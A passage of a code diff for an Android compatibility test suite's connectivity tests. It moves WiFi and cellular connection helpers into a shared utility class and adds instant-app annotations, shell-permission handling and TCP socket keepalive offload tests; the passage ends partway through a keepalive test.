-    private TestNetworkCallback mCellNetworkCallback;
-
+    private UiAutomation mUiAutomation;
+    private CtsNetUtils mCtsNetUtils;
+    private boolean mShellPermissionIdentityAdopted;
 
     @Override
     protected void setUp() throws Exception {
@@ -151,6 +155,7 @@
         mCm = (ConnectivityManager) mContext.getSystemService(Context.CONNECTIVITY_SERVICE);
         mWifiManager = (WifiManager) mContext.getSystemService(Context.WIFI_SERVICE);
         mPackageManager = mContext.getPackageManager();
+        mCtsNetUtils = new CtsNetUtils(mContext);
         mWifiConnectAttempted = false;
 
         // Get com.android.internal.R.array.networkAttributes
@@ -167,17 +172,20 @@
                 mNetworks.put(n.type, n);
             } catch (Exception e) {}
         }
+        mUiAutomation = mInstrumentation.getUiAutomation();
+        mShellPermissionIdentityAdopted = false;
     }
 
     @Override
     protected void tearDown() throws Exception {
         // Return WiFi to its original disabled state after tests that explicitly connect.
         if (mWifiConnectAttempted) {
-            disconnectFromWifi(null);
+            mCtsNetUtils.disconnectFromWifi(null);
         }
-        if (cellConnectAttempted()) {
-            disconnectFromCell();
+        if (mCtsNetUtils.cellConnectAttempted()) {
+            mCtsNetUtils.disconnectFromCell();
         }
+        dropShellPermissionIdentity();
         super.tearDown();
     }
 
@@ -188,10 +196,10 @@
      */
     private Network ensureWifiConnected() {
         if (mWifiManager.isWifiEnabled()) {
-            return getWifiNetwork();
+            return mCtsNetUtils.getWifiNetwork();
         }
         mWifiConnectAttempted = true;
-        return connectToWifi();
+        return mCtsNetUtils.connectToWifi();
     }
 
     public void testIsNetworkTypeValid() {
@@ -289,6 +297,7 @@
      * Tests that connections can be opened on WiFi and cellphone networks,
      * and that they are made from different IP addresses.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testOpenConnection() throws Exception {
         boolean canRunTest = mPackageManager.hasSystemFeature(FEATURE_WIFI)
                 && mPackageManager.hasSystemFeature(FEATURE_TELEPHONY);
@@ -298,8 +307,8 @@
             return;
         }
 
-        Network wifiNetwork = connectToWifi();
-        Network cellNetwork = connectToCell();
+        Network wifiNetwork = mCtsNetUtils.connectToWifi();
+        Network cellNetwork = mCtsNetUtils.connectToCell();
         // This server returns the requestor's IP address as the response body.
         URL url = new URL("http://google-ipv6test.appspot.com/ip.js?fmt=text");
         String wifiAddressString = httpGet(wifiNetwork, url);
@@ -317,33 +326,6 @@
         assertFalse("Unexpectedly equal: " + wifiNetwork, wifiNetwork.equals(cellNetwork));
     }
 
-    private Network connectToCell() throws InterruptedException {
-        if (cellConnectAttempted()) {
-            throw new IllegalStateException("Already connected");
-        }
-        NetworkRequest cellRequest = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NET_CAPABILITY_INTERNET)
-                .build();
-        mCellNetworkCallback = new TestNetworkCallback();
-        mCm.requestNetwork(cellRequest, mCellNetworkCallback);
-        final Network cellNetwork = mCellNetworkCallback.waitForAvailable();
-        assertNotNull("Cell network not available within timeout", cellNetwork);
-        return cellNetwork;
-    }
-
-    private boolean cellConnectAttempted() {
-        return mCellNetworkCallback != null;
-    }
-
-    private void disconnectFromCell() {
-        if (!cellConnectAttempted()) {
-            throw new IllegalStateException("Cell connection not attempted");
-        }
-        mCm.unregisterNetworkCallback(mCellNetworkCallback);
-        mCellNetworkCallback = null;
-    }
-
     /**
      * Performs a HTTP GET to the specified URL on the specified Network, and returns
      * the response body decoded as UTF-8.
@@ -399,9 +381,6 @@
 
         final String invalidateFeature = "invalidateFeature";
         final String mmsFeature = "enableMMS";
-        final int failureCode = -1;
-        final int wifiOnlyStartFailureCode = PhoneConstants.APN_REQUEST_FAILED;
-        final int wifiOnlyStopFailureCode = -1;
 
         assertStartUsingNetworkFeatureUnsupported(TYPE_MOBILE, invalidateFeature);
         assertStopUsingNetworkFeatureUnsupported(TYPE_MOBILE, invalidateFeature);
@@ -451,6 +430,7 @@
      * WiFi. We could add a version that uses the telephony data connection but it's not clear
      * that it would increase test coverage by much (how many devices have 3G radio but not Wifi?).
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testRegisterNetworkCallback() {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
@@ -491,6 +471,7 @@
      * {@link #testRegisterNetworkCallback} except that a {@code PendingIntent} is used instead
      * of a {@code NetworkCallback}.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testRegisterNetworkCallback_withPendingIntent() {
         if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
             Log.i(TAG, "testRegisterNetworkCallback cannot execute unless device supports WiFi");
@@ -503,7 +484,7 @@
         filter.addAction(NETWORK_CALLBACK_ACTION);
 
         ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
+                mCm, ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
         mContext.registerReceiver(receiver, filter);
 
         // Create a broadcast PendingIntent for NETWORK_CALLBACK_ACTION.
@@ -535,6 +516,7 @@
      * Exercises the requestNetwork with NetworkCallback API. This checks to
      * see if we get a callback for an INTERNET request.
      */
+    @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
     public void testRequestNetworkCallback() {
         final TestNetworkCallback callback = new TestNetworkCallback();
         mCm.requestNetwork(new NetworkRequest.Builder()
@@ -557,10 +539,11 @@
      * Exercises the requestNetwork with NetworkCallback API with timeout - expected to
      * fail. Use WIFI and switch Wi-Fi off.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testRequestNetworkCallback_onUnavailable() {
         final boolean previousWifiEnabledState = mWifiManager.isWifiEnabled();
         if (previousWifiEnabledState) {
-            disconnectFromWifi(null);
+            mCtsNetUtils.disconnectFromWifi(null);
         }
 
         final TestNetworkCallback callback = new TestNetworkCallback();
@@ -577,323 +560,23 @@
         } finally {
             mCm.unregisterNetworkCallback(callback);
             if (previousWifiEnabledState) {
-                connectToWifi();
+                mCtsNetUtils.connectToWifi();
             }
         }
     }
 
-    /**
-     * Tests reporting of connectivity changed.
-     */
-    public void testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnly_shouldNotReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        ConnectivityReceiver.prepare();
-
-        toggleWifi();
-
-        // The connectivity broadcast has been sent; push through a terminal broadcast
-        // to wait for in the receive to confirm it didn't see the connectivity change.
-        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
-        finalIntent.setClass(mContext, ConnectivityReceiver.class);
-        mContext.sendBroadcast(finalIntent);
-        assertFalse(ConnectivityReceiver.waitForBroadcast());
-    }
-
-    public void testConnectivityChanged_whenRegistered_shouldReceiveIntent() {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_whenRegistered_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        ConnectivityReceiver.prepare();
-        ConnectivityReceiver receiver = new ConnectivityReceiver();
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        toggleWifi();
-        Intent finalIntent = new Intent(ConnectivityReceiver.FINAL_ACTION);
-        finalIntent.setClass(mContext, ConnectivityReceiver.class);
-        mContext.sendBroadcast(finalIntent);
-
-        assertTrue(ConnectivityReceiver.waitForBroadcast());
-    }
-
-    public void testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent()
-            throws InterruptedException {
-        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        mContext.startActivity(new Intent()
-                .setComponent(new ComponentName("android.net.cts.appForApi23",
-                        "android.net.cts.appForApi23.ConnectivityListeningActivity"))
-                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
-        Thread.sleep(200);
-
-        toggleWifi();
-
-        Intent getConnectivityCount = new Intent(GET_WIFI_CONNECTIVITY_ACTION_COUNT);
-        assertEquals(2, sendOrderedBroadcastAndReturnResultCode(
-                getConnectivityCount, SEND_BROADCAST_TIMEOUT));
-    }
-
-    private int sendOrderedBroadcastAndReturnResultCode(
-            Intent intent, int timeoutMs) throws InterruptedException {
-        final LinkedBlockingQueue<Integer> result = new LinkedBlockingQueue<>(1);
-        mContext.sendOrderedBroadcast(intent, null, new BroadcastReceiver() {
-            @Override
-            public void onReceive(Context context, Intent intent) {
-                result.offer(getResultCode());
-            }
-        }, null, 0, null, null);
-
-        Integer resultCode = result.poll(timeoutMs, TimeUnit.MILLISECONDS);
-        assertNotNull("Timed out (more than " + timeoutMs +
-                " milliseconds) waiting for result code for broadcast", resultCode);
-        return resultCode;
-    }
-
-    // Toggle WiFi twice, leaving it in the state it started in
-    private void toggleWifi() {
-        if (mWifiManager.isWifiEnabled()) {
-            Network wifiNetwork = getWifiNetwork();
-            disconnectFromWifi(wifiNetwork);
-            connectToWifi();
-        } else {
-            connectToWifi();
-            Network wifiNetwork = getWifiNetwork();
-            disconnectFromWifi(wifiNetwork);
-        }
-    }
-
-    /** Enable WiFi and wait for it to become connected to a network. */
-    private Network connectToWifi() {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network wifiNetwork = null;
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                ConnectivityManager.TYPE_WIFI, NetworkInfo.State.CONNECTED);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        boolean connected = false;
-        try {
-            assertTrue(mWifiManager.setWifiEnabled(true));
-            // Ensure we get both an onAvailable callback and a CONNECTIVITY_ACTION.
-            wifiNetwork = callback.waitForAvailable();
-            assertNotNull(wifiNetwork);
-            connected = receiver.waitForState();
-        } catch (InterruptedException ex) {
-            fail("connectToWifi was interrupted");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mContext.unregisterReceiver(receiver);
-        }
-
-        assertTrue("Wifi must be configured to connect to an access point for this test.",
-                connected);
-        return wifiNetwork;
-    }
-
-    private Socket getBoundSocket(Network network, String host, int port) throws IOException {
-        InetSocketAddress addr = new InetSocketAddress(host, port);
-        Socket s = network.getSocketFactory().createSocket();
-        try {
-            s.setSoTimeout(SOCKET_TIMEOUT_MS);
-            s.connect(addr, SOCKET_TIMEOUT_MS);
-        } catch (IOException e) {
-            s.close();
-            throw e;
-        }
-        return s;
-    }
-
-    private void testHttpRequest(Socket s) throws IOException {
-        OutputStream out = s.getOutputStream();
-        InputStream in = s.getInputStream();
-
-        final byte[] requestBytes = HTTP_REQUEST.getBytes("UTF-8");
-        byte[] responseBytes = new byte[4096];
-        out.write(requestBytes);
-        in.read(responseBytes);
-        assertTrue(new String(responseBytes, "UTF-8").startsWith("HTTP/1.0 204 No Content\r\n"));
-    }
-
-    /** Disable WiFi and wait for it to become disconnected from the network. */
-    private void disconnectFromWifi(Network wifiNetworkToCheck) {
-        final TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network lostWifiNetwork = null;
-
-        ConnectivityActionReceiver receiver = new ConnectivityActionReceiver(
-                ConnectivityManager.TYPE_WIFI, NetworkInfo.State.DISCONNECTED);
-        IntentFilter filter = new IntentFilter();
-        filter.addAction(ConnectivityManager.CONNECTIVITY_ACTION);
-        mContext.registerReceiver(receiver, filter);
-
-        // Assert that we can establish a TCP connection on wifi.
-        Socket wifiBoundSocket = null;
-        if (wifiNetworkToCheck != null) {
-            try {
-                wifiBoundSocket = getBoundSocket(wifiNetworkToCheck, TEST_HOST, HTTP_PORT);
-                testHttpRequest(wifiBoundSocket);
-            } catch (IOException e) {
-                fail("HTTP request before wifi disconnected failed with: " + e);
+    private InetAddress getFirstV4Address(Network network) {
+        LinkProperties linkProperties = mCm.getLinkProperties(network);
+        for (InetAddress address : linkProperties.getAddresses()) {
+            if (address instanceof Inet4Address) {
+                return address;
             }
         }
-
-        boolean disconnected = false;
-        try {
-            assertTrue(mWifiManager.setWifiEnabled(false));
-            // Ensure we get both an onLost callback and a CONNECTIVITY_ACTION.
-            lostWifiNetwork = callback.waitForLost();
-            assertNotNull(lostWifiNetwork);
-            disconnected = receiver.waitForState();
-        } catch (InterruptedException ex) {
-            fail("disconnectFromWifi was interrupted");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-            mContext.unregisterReceiver(receiver);
-        }
-
-        assertTrue("Wifi failed to reach DISCONNECTED state.", disconnected);
-
-        // Check that the socket is closed when wifi disconnects.
-        if (wifiBoundSocket != null) {
-            try {
-                testHttpRequest(wifiBoundSocket);
-                fail("HTTP request should not succeed after wifi disconnects");
-            } catch (IOException expected) {
-                assertEquals(Os.strerror(OsConstants.ECONNABORTED), expected.getMessage());
-            }
-        }
-    }
-
-    /**
-     * Receiver that captures the last connectivity change's network type and state. Recognizes
-     * both {@code CONNECTIVITY_ACTION} and {@code NETWORK_CALLBACK_ACTION} intents.
-     */
-    private class ConnectivityActionReceiver extends BroadcastReceiver {
-
-        private final CountDownLatch mReceiveLatch = new CountDownLatch(1);
-
-        private final int mNetworkType;
-        private final NetworkInfo.State mNetState;
-
-        ConnectivityActionReceiver(int networkType, NetworkInfo.State netState) {
-            mNetworkType = networkType;
-            mNetState = netState;
-        }
-
-        public void onReceive(Context context, Intent intent) {
-            String action = intent.getAction();
-            NetworkInfo networkInfo = null;
-
-            // When receiving ConnectivityManager.CONNECTIVITY_ACTION, the NetworkInfo parcelable
-            // is stored in EXTRA_NETWORK_INFO. With a NETWORK_CALLBACK_ACTION, the Network is
-            // sent in EXTRA_NETWORK and we need to ask the ConnectivityManager for the NetworkInfo.
-            if (ConnectivityManager.CONNECTIVITY_ACTION.equals(action)) {
-                networkInfo = intent.getExtras()
-                        .getParcelable(ConnectivityManager.EXTRA_NETWORK_INFO);
-                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK_INFO", networkInfo);
-            } else if (NETWORK_CALLBACK_ACTION.equals(action)) {
-                Network network = intent.getExtras()
-                        .getParcelable(ConnectivityManager.EXTRA_NETWORK);
-                assertNotNull("ConnectivityActionReceiver expected EXTRA_NETWORK", network);
-                networkInfo = mCm.getNetworkInfo(network);
-                if (networkInfo == null) {
-                    // When disconnecting, it seems like we get an intent sent with an invalid
-                    // Network; that is, by the time we call ConnectivityManager.getNetworkInfo(),
-                    // it is invalid. Ignore these.
-                    Log.i(TAG, "ConnectivityActionReceiver NETWORK_CALLBACK_ACTION ignoring "
-                            + "invalid network");
-                    return;
-                }
-            } else {
-                fail("ConnectivityActionReceiver received unxpected intent action: " + action);
-            }
-
-            assertNotNull("ConnectivityActionReceiver didn't find NetworkInfo", networkInfo);
-            int networkType = networkInfo.getType();
-            State networkState = networkInfo.getState();
-            Log.i(TAG, "Network type: " + networkType + " state: " + networkState);
-            if (networkType == mNetworkType && networkInfo.getState() == mNetState) {
-                mReceiveLatch.countDown();
-            }
-        }
-
-        public boolean waitForState() throws InterruptedException {
-            return mReceiveLatch.await(30, TimeUnit.SECONDS);
-        }
-    }
-
-    /**
-     * Callback used in testRegisterNetworkCallback that allows caller to block on
-     * {@code onAvailable}.
-     */
-    private static class TestNetworkCallback extends ConnectivityManager.NetworkCallback {
-        private final CountDownLatch mAvailableLatch = new CountDownLatch(1);
-        private final CountDownLatch mLostLatch = new CountDownLatch(1);
-        private final CountDownLatch mUnavailableLatch = new CountDownLatch(1);
-
-        public Network currentNetwork;
-        public Network lastLostNetwork;
-
-        public Network waitForAvailable() throws InterruptedException {
-            return mAvailableLatch.await(30, TimeUnit.SECONDS) ? currentNetwork : null;
-        }
-
-        public Network waitForLost() throws InterruptedException {
-            return mLostLatch.await(30, TimeUnit.SECONDS) ? lastLostNetwork : null;
-        }
-
-        public boolean waitForUnavailable() throws InterruptedException {
-            return mUnavailableLatch.await(2, TimeUnit.SECONDS);
-        }
-
-
-        @Override
-        public void onAvailable(Network network) {
-            currentNetwork = network;
-            mAvailableLatch.countDown();
-        }
-
-        @Override
-        public void onLost(Network network) {
-            lastLostNetwork = network;
-            if (network.equals(currentNetwork)) {
-                currentNetwork = null;
-            }
-            mLostLatch.countDown();
-        }
-
-        @Override
-        public void onUnavailable() {
-            mUnavailableLatch.countDown();
-        }
-    }
-
-    private Network getWifiNetwork() {
-        TestNetworkCallback callback = new TestNetworkCallback();
-        mCm.registerNetworkCallback(makeWifiNetworkRequest(), callback);
-        Network network = null;
-        try {
-            network = callback.waitForAvailable();
-        } catch (InterruptedException e) {
-            fail("NetworkCallback wait was interrupted.");
-        } finally {
-            mCm.unregisterNetworkCallback(callback);
-        }
-        assertNotNull("Cannot find Network for wifi. Is wifi connected?", network);
-        return network;
+        return null;
     }
 
     /** Verify restricted networks cannot be requested. */
+    @AppModeFull(reason = "CHANGE_NETWORK_STATE permission can't be granted to instant apps")
     public void testRestrictedNetworks() {
         // Verify we can request unrestricted networks:
         NetworkRequest request = new NetworkRequest.Builder()
@@ -910,60 +593,6 @@
         } catch (SecurityException expected) {}
     }
 
-    private Scanner makeWifiSysctlScanner(String key) throws FileNotFoundException {
-        Network network = ensureWifiConnected();
-        String iface = mCm.getLinkProperties(network).getInterfaceName();
-        String path = IPV6_SYSCTL_DIR + "/" + iface + "/" + key;
-        return new Scanner(new File(path));
-    }
-
-    /** Verify that accept_ra_rt_info_min_plen exists and is set to the expected value */
-    public void testAcceptRaRtInfoMinPlen() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("accept_ra_rt_info_min_plen");
-        assertEquals(IPV6_WIFI_ACCEPT_RA_RT_INFO_MIN_PLEN, s.nextInt());
-    }
-
-    /** Verify that accept_ra_rt_info_max_plen exists and is set to the expected value */
-    public void testAcceptRaRtInfoMaxPlen() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("accept_ra_rt_info_max_plen");
-        assertEquals(IPV6_WIFI_ACCEPT_RA_RT_INFO_MAX_PLEN, s.nextInt());
-    }
-
-    /** Verify that router_solicitations exists and is set to the expected value */
-    public void testRouterSolicitations() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("router_solicitations");
-        assertEquals(IPV6_WIFI_ROUTER_SOLICITATIONS, s.nextInt());
-    }
-
-    /** Verify that router_solicitation_max_interval exists and is in an acceptable interval */
-    public void testRouterSolicitationMaxInterval() throws Exception {
-        if (!mPackageManager.hasSystemFeature(PackageManager.FEATURE_WIFI)) {
-            Log.i(TAG, "testConnectivityChanged_manifestRequestOnlyPreN_shouldReceiveIntent cannot execute unless device supports WiFi");
-            return;
-        }
-        Scanner s = makeWifiSysctlScanner("router_solicitation_max_interval");
-        int interval = s.nextInt();
-        // Verify we're in the interval [15 minutes, 60 minutes]. Lower values may adversely
-        // impact battery life and higher values can decrease the probability of detecting
-        // network changes.
-        final int lowerBoundSec = 15 * 60;
-        final int upperBoundSec = 60 * 60;
-        assertTrue(lowerBoundSec <= interval);
-        assertTrue(interval <= upperBoundSec);
-    }
-
     // Returns "true", "false" or "none"
     private String getWifiMeteredStatus(String ssid) throws Exception {
         // Interestingly giving the SSID as an argument to list wifi-networks
@@ -1045,7 +674,7 @@
         final String rawMeteredPref = Settings.Global.getString(resolver,
                 NETWORK_METERED_MULTIPATH_PREFERENCE);
         return TextUtils.isEmpty(rawMeteredPref)
-            ? mContext.getResources().getInteger(R.integer.config_networkMeteredMultipathPreference)
+            ? getIntResourceForName(NETWORK_METERED_MULTIPATH_PREFERENCE_RES_NAME)
             : Integer.parseInt(rawMeteredPref);
     }
 
@@ -1065,6 +694,7 @@
      * Verify that getMultipathPreference does return appropriate values
      * for metered and unmetered networks.
      */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
     public void testGetMultipathPreference() throws Exception {
         final ContentResolver resolver = mContext.getContentResolver();
         final Network network = ensureWifiConnected();
@@ -1105,4 +735,531 @@
             setWifiMeteredStatus(ssid, oldMeteredSetting);
         }
     }
+
+    // TODO: move the following socket keep alive test to dedicated test class.
+    /**
+     * Callback used in tcp keepalive offload that allows caller to wait callback fires.
+     */
+    private static class TestSocketKeepaliveCallback extends SocketKeepalive.Callback {
+        public enum CallbackType { ON_STARTED, ON_STOPPED, ON_ERROR };
+
+        public static class CallbackValue {
+            public final CallbackType callbackType;
+            public final int error;
+
+            private CallbackValue(final CallbackType type, final int error) {
+                this.callbackType = type;
+                this.error = error;
+            }
+
+            public static class OnStartedCallback extends CallbackValue {
+                OnStartedCallback() { super(CallbackType.ON_STARTED, 0); }
+            }
+
+            public static class OnStoppedCallback extends CallbackValue {
+                OnStoppedCallback() { super(CallbackType.ON_STOPPED, 0); }
+            }
+
+            public static class OnErrorCallback extends CallbackValue {
+                OnErrorCallback(final int error) { super(CallbackType.ON_ERROR, error); }
+            }
+
+            @Override
+            public boolean equals(Object o) {
+                return o.getClass() == this.getClass()
+                        && this.callbackType == ((CallbackValue) o).callbackType
+                        && this.error == ((CallbackValue) o).error;
+            }
+
+            @Override
+            public String toString() {
+                return String.format("%s(%s, %d)", getClass().getSimpleName(), callbackType, error);
+            }
+        }
+
+        private final LinkedBlockingQueue<CallbackValue> mCallbacks = new LinkedBlockingQueue<>();
+
+        @Override
+        public void onStarted() {
+            mCallbacks.add(new CallbackValue.OnStartedCallback());
+        }
+
+        @Override
+        public void onStopped() {
+            mCallbacks.add(new CallbackValue.OnStoppedCallback());
+        }
+
+        @Override
+        public void onError(final int error) {
+            mCallbacks.add(new CallbackValue.OnErrorCallback(error));
+        }
+
+        public CallbackValue pollCallback() {
+            try {
+                return mCallbacks.poll(KEEPALIVE_CALLBACK_TIMEOUT_MS,
+                        TimeUnit.MILLISECONDS);
+            } catch (InterruptedException e) {
+                fail("Callback not seen after " + KEEPALIVE_CALLBACK_TIMEOUT_MS + " ms");
+            }
+            return null;
+        }
+        private void expectCallback(CallbackValue expectedCallback) {
+            final CallbackValue actualCallback = pollCallback();
+            assertEquals(expectedCallback, actualCallback);
+        }
+
+        public void expectStarted() {
+            expectCallback(new CallbackValue.OnStartedCallback());
+        }
+
+        public void expectStopped() {
+            expectCallback(new CallbackValue.OnStoppedCallback());
+        }
+
+        public void expectError(int error) {
+            expectCallback(new CallbackValue.OnErrorCallback(error));
+        }
+    }
+
+    private InetAddress getAddrByName(final String hostname, final int family) throws Exception {
+        final InetAddress[] allAddrs = InetAddress.getAllByName(hostname);
+        for (InetAddress addr : allAddrs) {
+            if (family == AF_INET && addr instanceof Inet4Address) return addr;
+
+            if (family == AF_INET6 && addr instanceof Inet6Address) return addr;
+
+            if (family == AF_UNSPEC) return addr;
+        }
+        return null;
+    }
+
+    private Socket getConnectedSocket(final Network network, final String host, final int port,
+            final int socketTimeOut, final int family) throws Exception {
+        final Socket s = network.getSocketFactory().createSocket();
+        try {
+            final InetAddress addr = getAddrByName(host, family);
+            if (addr == null) fail("Fail to get destination address for " + family);
+
+            final InetSocketAddress sockAddr = new InetSocketAddress(addr, port);
+            s.setSoTimeout(socketTimeOut);
+            s.connect(sockAddr, CONNECT_TIMEOUT_MS);
+        } catch (Exception e) {
+            s.close();
+            throw e;
+        }
+        return s;
+    }
+
+    private int getSupportedKeepalivesForNet(@NonNull Network network) throws Exception {
+        final NetworkCapabilities nc = mCm.getNetworkCapabilities(network);
+
+        // Get number of supported concurrent keepalives for testing network.
+        final int[] keepalivesPerTransport = KeepaliveUtils.getSupportedKeepalives(mContext);
+        return KeepaliveUtils.getSupportedKeepalivesForNetworkCapabilities(
+                keepalivesPerTransport, nc);
+    }
+
+    private void adoptShellPermissionIdentity() {
+        mUiAutomation.adoptShellPermissionIdentity();
+        mShellPermissionIdentityAdopted = true;
+    }
+
+    private void dropShellPermissionIdentity() {
+        if (mShellPermissionIdentityAdopted) {
+            mUiAutomation.dropShellPermissionIdentity();
+            mShellPermissionIdentityAdopted = false;
+        }
+    }
+
+    private static boolean isTcpKeepaliveSupportedByKernel() {
+        final String kVersionString = VintfRuntimeInfo.getKernelVersion();
+        return compareMajorMinorVersion(kVersionString, "4.8") >= 0;
+    }
+
+    private static Pair<Integer, Integer> getVersionFromString(String version) {
+        // Only gets major and minor number of the version string.
+        final Pattern versionPattern = Pattern.compile("^(\\d+)(\\.(\\d+))?.*");
+        final Matcher m = versionPattern.matcher(version);
+        if (m.matches()) {
+            final int major = Integer.parseInt(m.group(1));
+            final int minor = TextUtils.isEmpty(m.group(3)) ? 0 : Integer.parseInt(m.group(3));
+            return new Pair<>(major, minor);
+        } else {
+            return new Pair<>(0, 0);
+        }
+    }
+
+    // TODO: Move to util class.
+    private static int compareMajorMinorVersion(final String s1, final String s2) {
+        final Pair<Integer, Integer> v1 = getVersionFromString(s1);
+        final Pair<Integer, Integer> v2 = getVersionFromString(s2);
+
+        if (v1.first == v2.first) {
+            return Integer.compare(v1.second, v2.second);
+        } else {
+            return Integer.compare(v1.first, v2.first);
+        }
+    }
+
+    /**
+     * Verifies that version string compare logic returns expected result for various cases.
+     * Note that only major and minor number are compared.
+     */
+    public void testMajorMinorVersionCompare() {
+        assertEquals(0, compareMajorMinorVersion("4.8.1", "4.8"));
+        assertEquals(1, compareMajorMinorVersion("4.9", "4.8.1"));
+        assertEquals(1, compareMajorMinorVersion("5.0", "4.8"));
+        assertEquals(1, compareMajorMinorVersion("5", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("5", "5.0"));
+        assertEquals(1, compareMajorMinorVersion("5-beta1", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("4.8.0.0", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("4.8-RC1", "4.8"));
+        assertEquals(0, compareMajorMinorVersion("4.8", "4.8"));
+        assertEquals(-1, compareMajorMinorVersion("3.10", "4.8.0"));
+        assertEquals(-1, compareMajorMinorVersion("4.7.10.10", "4.8"));
+    }
+
+    /**
+     * Verifies that the keepalive API cannot create any keepalive when the maximum number of
+     * keepalives is set to 0.
+     */
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testKeepaliveWifiUnsupported() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testKeepaliveUnsupported cannot execute unless device"
+                    + " supports WiFi");
+            return;
+        }
+
+        final Network network = ensureWifiConnected();
+        if (getSupportedKeepalivesForNet(network) != 0) return;
+
+        adoptShellPermissionIdentity();
+
+        assertEquals(0, createConcurrentSocketKeepalives(network, 1, 0));
+        assertEquals(0, createConcurrentSocketKeepalives(network, 0, 1));
+
+        dropShellPermissionIdentity();
+    }
+
+    @AppModeFull(reason = "Cannot get WifiManager in instant app mode")
+    public void testCreateTcpKeepalive() throws Exception {
+        if (!mPackageManager.hasSystemFeature(FEATURE_WIFI)) {
+            Log.i(TAG, "testCreateTcpKeepalive cannot execute unless device supports WiFi");
+            return;
+        }
+
+        adoptShellPermissionIdentity();
+
+        final Network network = ensureWifiConnected();
+        if (getSupportedKeepalivesForNet(network) == 0) return;
+        // If kernel < 4.8 then it doesn't support TCP keepalive, but it might still support
+        // NAT-T keepalive. If keepalive limits from resource overlay is not zero, TCP keepalive
+        // needs to be supported except if the kernel doesn't support it.
+        if (!isTcpKeepaliveSupportedByKernel()) {
+            // Sanity check to ensure the callback result is expected.
+            assertEquals(0, createConcurrentSocketKeepalives(network, 0, 1));
+            Log.i(TAG, "testCreateTcpKeepalive is skipped for kernel "
+                    + VintfRuntimeInfo.getKernelVersion());
+            return;
+        }
+
+        final byte[] requestBytes = CtsNetUtils.HTTP_REQUEST.getBytes("UTF-8");
+        // So far only ipv4 tcp keepalive offload is supported.
+        // TODO: add test case for ipv6 tcp keepalive offload when it is supported.
+        try (Socket s = getConnectedSocket(network, TEST_HOST, HTTP_PORT,
+                KEEPALIVE_SOCKET_TIMEOUT_MS, AF_INET)) {
+
+            // Should able to start keep alive offload when socket is idle.
+            final Executor executor = mContext.getMainExecutor();
+            final TestSocketKeepaliveCallback callback = new TestSocketKeepaliveCallback();
+            try (SocketKeepalive sk = mCm.createSocketKeepalive(network, s, executor, callback)) {
+                sk.start(MIN_KEEPALIVE_INTERVAL);
+                callback.expectStarted();
+
+                // App should not able to write during keepalive offload.
+                final OutputStream out = s.getOutputStream();
+                try {
+                    out.write(requestBytes);
+                    fail("Should not able to write");
+                } catch (IOException e) { }
+                // App should not able to read during keepalive offload.
+                final InputStream in = s.getInputStream();
+                byte[] responseBytes = new byte[4096];
+                try {
+                    in.read(responseBytes);
+                    fail("Should not able to read");
+                } catch (IOException e) { }
+
+                // Stop.
+                sk.stop();
+                callback.expectStopped();
+            }
+
+            // Ensure socket is still connected.
+            assertTrue(s.isConnected());
+            assertFalse(s.isClosed());
+
